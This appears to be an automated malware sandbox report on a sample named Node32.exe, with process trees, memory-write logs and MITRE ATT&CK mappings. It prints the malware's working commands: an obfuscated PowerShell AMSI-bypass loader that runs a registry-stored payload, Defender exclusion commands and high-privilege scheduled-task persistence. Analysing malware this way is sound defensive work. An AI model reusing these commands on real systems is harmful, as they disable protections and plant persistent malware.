PID 2340 wrote to memory of 1460	2340	Node32.exe	93
PID 2340 wrote to memory of 1460	2340	Node32.exe	93
PID 2340 wrote to memory of 1460	2340	Node32.exe	93
PID 2340 wrote to memory of 1700	2340	Node32.exe	94
PID 2340 wrote to memory of 1700	2340	Node32.exe	94
PID 2340 wrote to memory of 3128	2340	Node32.exe	99
PID 2340 wrote to memory of 3128	2340	Node32.exe	99
PID 2340 wrote to memory of 976	2340	Node32.exe	102
PID 2340 wrote to memory of 976	2340	Node32.exe	102
PID 2340 wrote to memory of 2712	2340	Node32.exe	103
PID 2340 wrote to memory of 2712	2340	Node32.exe	103
PID 2340 wrote to memory of 3960	2340	Node32.exe	105
PID 2340 wrote to memory of 3960	2340	Node32.exe	105
PID 2340 wrote to memory of 3832	2340	Node32.exe	107
PID 2340 wrote to memory of 3832	2340	Node32.exe	107
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3332 wrote to memory of 3024	3332	powershell.EXE	108
PID 3024 wrote to memory of 620	3024	dllhost.exe	5
PID 3024 wrote to memory of 688	3024	dllhost.exe	7
PID 3024 wrote to memory of 964	3024	dllhost.exe	12
PID 3024 wrote to memory of 316	3024	dllhost.exe	13
PID 3024 wrote to memory of 748	3024	dllhost.exe	14
PID 3024 wrote to memory of 1040	3024	dllhost.exe	16
PID 3024 wrote to memory of 1112	3024	dllhost.exe	17
PID 3024 wrote to memory of 1140	3024	dllhost.exe	18
PID 3024 wrote to memory of 1156	3024	dllhost.exe	19
PID 3024 wrote to memory of 1212	3024	dllhost.exe	20
PID 3024 wrote to memory of 1236	3024	dllhost.exe	21
PID 3024 wrote to memory of 1300	3024	dllhost.exe	22
PID 3024 wrote to memory of 1392	3024	dllhost.exe	23
PID 3024 wrote to memory of 1408	3024	dllhost.exe	24
PID 3024 wrote to memory of 1516	3024	dllhost.exe	25
PID 3024 wrote to memory of 1524	3024	dllhost.exe	26
PID 3024 wrote to memory of 1540	3024	dllhost.exe	27
PID 3024 wrote to memory of 1660	3024	dllhost.exe	28
PID 3024 wrote to memory of 1704	3024	dllhost.exe	29
PID 3024 wrote to memory of 1716	3024	dllhost.exe	30
PID 3024 wrote to memory of 1808	3024	dllhost.exe	31
PID 3024 wrote to memory of 1816	3024	dllhost.exe	32
PID 3024 wrote to memory of 1924	3024	dllhost.exe	33
PID 3024 wrote to memory of 1940	3024	dllhost.exe	34
PID 3024 wrote to memory of 1996	3024	dllhost.exe	35
PID 3024 wrote to memory of 2008	3024	dllhost.exe	36
PID 3024 wrote to memory of 1888	3024	dllhost.exe	37
PID 3024 wrote to memory of 2152	3024	dllhost.exe	39
PID 3024 wrote to memory of 2196	3024	dllhost.exe	40
PID 3024 wrote to memory of 2256	3024	dllhost.exe	41
PID 3024 wrote to memory of 2420	3024	dllhost.exe	42
PID 3024 wrote to memory of 2428	3024	dllhost.exe	43
PID 3024 wrote to memory of 2568	3024	dllhost.exe	44
PID 3024 wrote to memory of 2612	3024	dllhost.exe	45
PID 3024 wrote to memory of 2644	3024	dllhost.exe	46
PID 3024 wrote to memory of 2656	3024	dllhost.exe	47
PID 3024 wrote to memory of 2668	3024	dllhost.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ea240cc4-7e8e-4d5f-9805-ad8faef35ab6}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3024

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:748

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1112
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:1068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:iaSmrtaCbxPa{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hxYrmBQWXLuslp,[Parameter(Position=1)][Type]$hWhMEbuQFo)$jsHXvxpuJcG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+'f'+'l'+''+[Char](101)+'ct'+'e'+''+[Char](100)+''+[Char](68)+''+'e'+''+'l'+''+[Char](101)+'ga'+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+'M'+'e'+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+'od'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+'e',''+'C'+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+',P'+[Char](117)+''+'b'+''+[Char](108)+'ic,'+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+'d'+''+[Char](44)+'A'+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+','+[Char](65)+''+[Char](117)+'t'+'o'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$jsHXvxpuJcG.DefineConstructor('RT'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+'a'+[Char](108)+'N'+'a'+''+'m'+'e,'+'H'+''+'i'+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+','+[Char](80)+''+[Char](117)+''+'b'+'li'+'c'+'',[Reflection.CallingConventions]::Standard,$hxYrmBQWXLuslp).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+'m'+'e'+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$jsHXvxpuJcG.DefineMethod(''+[Char](73)+'nv'+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+'yS'+[Char](105)+'g'+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t'+[Char](44)+''+[Char](86)+''+'i'+'rtua'+[Char](108)+'',$hWhMEbuQFo,$hxYrmBQWXLuslp).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+''+'a'+'n'+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $jsHXvxpuJcG.CreateType();}$wMWoIWBBoceHa=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+'tem'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+'t.'+'W'+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+''+'.'+''+'U'+''+[Char](110)+''+[Char](115)+'a'+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+'d'+[Char](115)+'');$wfqKDvGIdIAAfp=$wMWoIWBBoceHa.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+'oc'+'A'+''+[Char](100)+''+'d'+''+[Char](114)+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+'t'+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$MlSQklVBHQxHoAFwjHK=iaSmrtaCbxPa @([String])([IntPtr]);$AEXtrWylOSDWIhKHYIGnbE=iaSmrtaCbxPa @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uVEyITcuRgu=$wMWoIWBBoceHa.GetMethod('Ge'+'t'+'M'+'o'+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+'e'+'l'+[Char](51)+'2'+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$SktUwFtxlQQplw=$wfqKDvGIdIAAfp.Invoke($Null,@([Object]$uVEyITcuRgu,[Object]('L'+[Char](111)+''+'a'+''+'d'+''+[Char](76)+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+'yA')));$UPcmnUTRJTxxSIpXt=$wfqKDvGIdIAAfp.Invoke($Null,@([Object]$uVEyITcuRgu,[Object](''+[Char](86)+'ir'+'t'+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$yDPzEzn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SktUwFtxlQQplw,$MlSQklVBHQxHoAFwjHK).Invoke(''+[Char](97)+''+'m'+''+'s'+''+'i'+''+'.'+''+'d'+''+'l'+''+[Char](108)+'');$tdqvvSrEkoiWGIZZW=$wfqKDvGIdIAAfp.Invoke($Null,@([Object]$yDPzEzn,[Object](''+[Char](65)+'m'+'s'+'iS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$eOvxGlfwUy=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UPcmnUTRJTxxSIpXt,$AEXtrWylOSDWIhKHYIGnbE).Invoke($tdqvvSrEkoiWGIZZW,[uint32]8,4,[ref]$eOvxGlfwUy);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$tdqvvSrEkoiWGIZZW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UPcmnUTRJTxxSIpXt,$AEXtrWylOSDWIhKHYIGnbE).Invoke($tdqvvSrEkoiWGIZZW,[uint32]8,0x20,[ref]$eOvxGlfwUy);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+'WA'+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](78)+'o'+[Char](100)+''+[Char](101)+'s'+'t'+'a'+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1392
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1940

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2008

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1888

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2612

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2668

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:3088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3412

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3492
- C:\Users\Admin\AppData\Local\Temp\tmpfile-main\Node32.exe
  "C:\Users\Admin\AppData\Local\Temp\tmpfile-main\Node32.exe"
  2⤵
  - Checks computer location settings
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\$Node32.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2884
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "$Node32" /SC ONLOGON /TR "C:\Windows\System32\$Node32.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4292
- - C:\Windows\System32\$Node32.exe
    "C:\Windows\System32\$Node32.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\$Node2Json.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1700
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "$Node2Json" /SC ONLOGON /TR "C:\Windows\System32\$Node2Json.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3128
- - C:\Windows\System32\$Node2Json.exe
    "C:\Windows\System32\$Node2Json.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB716.tmp.bat""
      4⤵
      PID:1600
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3384
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2092
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\$Node3Json.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2712
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /F /TN "$Node3Json" /SC ONLOGON /TR "C:\Windows\System32\$Node3Json.exe" /RL HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3960
- - C:\Windows\System32\$Node3Json.exe
    "C:\Windows\System32\$Node3Json.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3616

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3816

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3976

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4680

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:684

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2776

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4532

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1424

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1432

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:5044

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2824

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:876

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe e6091458933a2150204d84bd3630102b UwPDu2yZBEmf9yTIz4TApQ.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:2848
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:1296

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:2232

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4812

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:244

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery